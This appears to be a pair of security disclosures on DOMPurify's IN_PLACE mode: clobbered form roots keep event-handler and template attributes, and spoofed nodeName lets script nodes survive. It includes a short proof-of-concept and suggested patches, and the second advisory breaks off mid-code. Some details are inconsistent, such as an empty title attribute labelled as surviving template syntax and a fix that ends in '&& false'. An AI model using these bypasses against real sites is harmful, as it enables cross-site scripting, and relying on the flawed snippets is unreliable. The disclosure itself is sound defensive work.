A "belt-and-suspenders" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.

(d) SAFE_FOR_TEMPLATES bypass for the root's attributes. When the caller sets SAFE_FOR_TEMPLATES: true to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving `` / <%…%> / `${…}` syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.

Verified — same PoC structure, with SAFE_FOR_TEMPLATES: true:

const root = document.createElement('form');
root.setAttribute('title', '');
root.setAttribute('onmouseover', 'window.__x=1');
const c = document.createElement('input');
c.setAttribute('name', 'nodeName');
root.appendChild(c);

DOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

console.log(root.outerHTML);
// <form title="" onmouseover="window.__x=1"><input></form>
//        ^^^^^^^^^^^^^^^^ template syntax survives

This compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).

(Text-node content inside the form is still scrubbed correctly — _scrubTemplateExpressions at :1868-1870 walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)

Indirect / second-order
  • DOM-based template systems / editors that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).
  • Email/HTML preview libraries that pre-parse received HTML before sanitization for performance reasons.
  • Frameworks that hand DOMPurify a node tree rather than a string — including, indirectly, any code path that does el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true }). The outer el is fine (it's not the form), but if the first child of el is taken as the sanitization root in a different code path, the bypass triggers.
Why current main is also vulnerable

Commit 89da34e ("fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM") hardens _sanitizeAttachedShadowRoots via three new cached prototype getters (getShadowRoot, getNodeName, getNodeType) and an _isClobbered extension that checks element.childNodes.length. The fix is correct for its scope — shadow-root traversal — but does not change _forceRemove's parent-less-node behavior or _sanitizeAttributes's clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD 89da34e and still succeeds.

Suggested fix

Two minimal-risk options:

  1. Make _forceRemove honest about failure: return whether the node was actually detached, and have the iterator call site honor that.

    const _forceRemove = function (node: Node): boolean {
  arrayPush(DOMPurify.removed, { element: node });
  try {
    getParentNode(node).removeChild(node);
    return true;
  } catch (_) {
    try { remove(node); } catch (_) {}
    return node.parentNode === null && /* but still attached to itself */ false;
  }
};

    Then at :1855, if _sanitizeElements returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a "sanitized" handle to an unsanitized tree.)

  2. Strip attributes inside _sanitizeAttributes for clobbered roots: when _isClobbered(currentNode) is true at :1490, instead of early-returning, iterate currentNode.attributes (using the cached getAttributes if you add one) and remove each via removeAttribute. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.

  3. Refuse IN_PLACE on parent-less clobbered roots: at the top of the iterator, check that the root either has a parent OR is not _isClobbered. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting "sanitized = empty/safe."

Note on callable elements

In Chromium and WebKit, HTMLEmbedElement, HTMLAppletElement, HTMLIFrameElement, and HTMLScriptElement have typeof === 'function' because they expose plugin/iframe [[Call]] traps at the WebIDL level. A name="setAttribute" child of one of these tags spoofs the setAttribute typeof === 'function' check — but only matters for the attribute re-set path at :1619, not the bypass demonstrated here (which uses nodeName and friends). The callable-element vector is worth checking separately as a potential SAFE_FOR_TEMPLATES-bypass primitive; the present report does not depend on it.

DOMPurify: IN_PLACE mode trusts attacker-controlled nodeName on live non-form nodes, allowing script retention and XSS via attacker-supplied DOM objects

CVE-2026-65901 / GHSA-x4vx-rjvf-j5p4

More information

Details

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called on an attacker-supplied live DOM node, DOMPurify still trusts currentNode.nodeName for non-form nodes in the main _sanitizeElements pipeline. A real <script> child node whose observable nodeName is attacker-controlled can therefore be misclassified as an allowed element and retained. When the sanitized tree is inserted into a live document, the script executes.

This affects current 3.4.6. The recent IN_PLACE hardening work covers clobbered form handling and foreign-realm shadow/template traversal, but does not harden the main per-node element decision for hostile non-form live nodes.

Affected
  • DOMPurify 3.4.6
  • Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) on attacker-supplied live DOM nodes
  • Verified attacker-controlled node sources:
    • same-origin iframe → live node passed by reference
    • same-origin window.open() popup → live node passed by reference
    • same-origin foreign node adopted into the host document via document.adoptNode(node) and then sanitized in-place

Not affected:

  • String-input DOMPurify.sanitize(dirtyString)
Vulnerability details
Code paths

[A] — _sanitizeElements uses the instance-visible nodeName for the allow/forbid decision:

const _sanitizeElements = function (currentNode: any): boolean {
  ...
  if (_isClobbered(currentNode)) {
    _forceRemove(currentNode);
    return true;
  }

  const tagName = transformCaseFunc(currentNode.nodeName);
  ...
  if (
    FORBID_TAGS[tagName] ||
    (!(...) && !ALLOWED_TAGS[tagName])
  ) {
    ...
    _forceRemove(currentNode);
    return true;
  }
  ...
};

For non-form nodes, _isClobbered(currentNode) returns false early. The subsequent element decision therefore trusts currentNode.nodeName directly.

[B] — _isClobbered is form-specific:

const _isClobbered = function (element: Element): boolean {
  const realTagName = getNodeName ? getNodeName(element) : null;
  if (typeof realTagName !== 'string') {
    return false;
  }

  if (transformCaseFunc(realTagName) !== 'form') {
